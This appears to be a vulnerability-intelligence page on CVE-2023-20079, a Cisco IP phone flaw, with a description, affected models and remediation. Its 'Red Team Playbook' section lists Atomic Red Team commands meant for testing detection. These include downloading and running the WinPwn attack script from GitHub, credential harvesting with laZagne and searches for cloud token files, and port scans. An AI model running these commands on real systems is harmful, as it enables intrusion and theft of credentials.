CVE-2023-20079
Overview
The vulnerability arises from improper input validation and memory management in the web-based management interface of Cisco IP Phones running Multiplatform Firmware. Specifically, it involves stack-based buffer overflow and out-of-bounds write conditions (CWE-121, CWE-787) within certain firmware components that handle remote command inputs. These flaws reside in the processing logic of the phone's administrative web interface, enabling manipulation of memory buffers without proper bounds checking.
Vulnerability Description
Multiple vulnerabilities in the web-based management interface of certain Cisco IP Phones could allow an unauthenticated, remote attacker to execute arbitrary code or cause a denial of service (DoS) condition. For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An unauthenticated remote attacker can exploit these vulnerabilities to execute arbitrary code with elevated privileges or cause a denial of service by crashing the device. No authentication or user interaction is required (CVSS vector AV:N/AC:L/PR:N/UI:N). Successful exploitation could lead to full compromise of the affected IP phone, enabling disruption of telephony services and potential lateral movement within the network. The high impact on confidentiality, integrity, and availability is reflected in the CVSS score of 9.8.
Solution
Cisco recommends applying the firmware updates specified in their security advisory cisco-sa-ip-phone-cmd-inj-KMFynVcP. Affected devices include Cisco IP Phone models 6825, 6841, 6851, 6861, and 6871 running Multiplatform Firmware. Administrators should download and install the fixed firmware versions provided by Cisco to remediate these vulnerabilities. The advisory contains detailed instructions for verifying affected versions and performing the upgrade process.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerabilities present in the web-based management interface of certain Cisco IP Phones expose these devices to significant security risks. These vulnerabilities allow an unauthenticated remote attacker to execute arbitrary code or induce a denial of service (DoS) condition. The underlying technical flaw is likely rooted in improper input validation or insufficient authentication mechanisms within the management interface. Such weaknesses can be exploited by attackers to send specially crafted requests that the affected devices cannot handle securely, leading to unauthorized code execution or service disruption.
Attack vectors for exploiting these vulnerabilities are diverse and can be executed remotely, which amplifies the threat landscape. An attacker could leverage network access to the affected IP Phones, potentially using techniques such as scanning for open management ports or exploiting vulnerabilities in the network infrastructure to gain access. Once the attacker identifies a vulnerable device, they can craft malicious payloads that exploit the identified weaknesses, allowing them to execute arbitrary commands or crash the device, resulting in a denial of service. This scenario poses a significant threat, particularly in environments where these phones are integral to business operations, as the impact could extend beyond individual devices to affect overall communication systems.
The real-world impact of these vulnerabilities is substantial, particularly for organizations that rely heavily on Cisco IP Phones for their communication infrastructure. A successful exploit could lead to unauthorized access to sensitive information, disruption of business operations, and a potential breach of compliance with data protection regulations. The financial implications could be severe, including costs associated with incident response, system recovery, and reputational damage. Furthermore, the ability to execute arbitrary code could allow attackers to pivot within the network, escalating their access and potentially compromising other critical systems.
To detect and mitigate these vulnerabilities, organizations should implement a multi-layered security approach. Regularly updating firmware on affected IP Phones is crucial, as vendors often release patches to address known vulnerabilities. Network segmentation can also be employed to limit access to the management interfaces of these devices, reducing the attack surface. Additionally, employing intrusion detection systems (IDS) can help identify suspicious activity targeting these devices. Organizations should also conduct regular security assessments and penetration testing to evaluate the resilience of their communication infrastructure against potential exploits.
In conclusion, the vulnerabilities in the web-based management interface of specific Cisco IP Phones present a serious threat to organizational security. The potential for remote code execution and denial of service attacks underscores the need for proactive security measures. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare to defend against these threats and ensure the integrity of their communication systems.
Affected Products (21)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Ip Phone 6871 Firmware | All |
cpe:2.3:o:cisco:ip_phone_6871_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 6861 Firmware | All |
cpe:2.3:o:cisco:ip_phone_6861_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 6851 Firmware | All |
cpe:2.3:o:cisco:ip_phone_6851_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 6841 Firmware | All |
cpe:2.3:o:cisco:ip_phone_6841_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 6825 Firmware | All |
cpe:2.3:o:cisco:ip_phone_6825_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 7861 Firmware | All |
cpe:2.3:o:cisco:ip_phone_7861_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 7841 Firmware | All |
cpe:2.3:o:cisco:ip_phone_7841_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 7832 Firmware | All |
cpe:2.3:o:cisco:ip_phone_7832_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 7821 Firmware | All |
cpe:2.3:o:cisco:ip_phone_7821_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 7811 Firmware | All |
cpe:2.3:o:cisco:ip_phone_7811_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8865 Firmware | All |
cpe:2.3:o:cisco:ip_phone_8865_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8861 Firmware | All |
cpe:2.3:o:cisco:ip_phone_8861_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8851 Firmware | All |
cpe:2.3:o:cisco:ip_phone_8851_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8845 Firmware | All |
cpe:2.3:o:cisco:ip_phone_8845_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8841 Firmware | All |
cpe:2.3:o:cisco:ip_phone_8841_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8832 Firmware | All |
cpe:2.3:o:cisco:ip_phone_8832_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8811 Firmware | All |
cpe:2.3:o:cisco:ip_phone_8811_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8831 Firmware | All |
cpe:2.3:o:cisco:ip_phone_8831_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Unified Ip Phone 7945g Firmware | All |
cpe:2.3:o:cisco:unified_ip_phone_7945g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Unified Ip Phone 7965g Firmware | All |
cpe:2.3:o:cisco:unified_ip_phone_7965g_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20079 |
| sec.cloudapps.cisco.com |
GitHub CVE
vendor-advisory
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ip-phone-cmd-inj-KMFynVcP |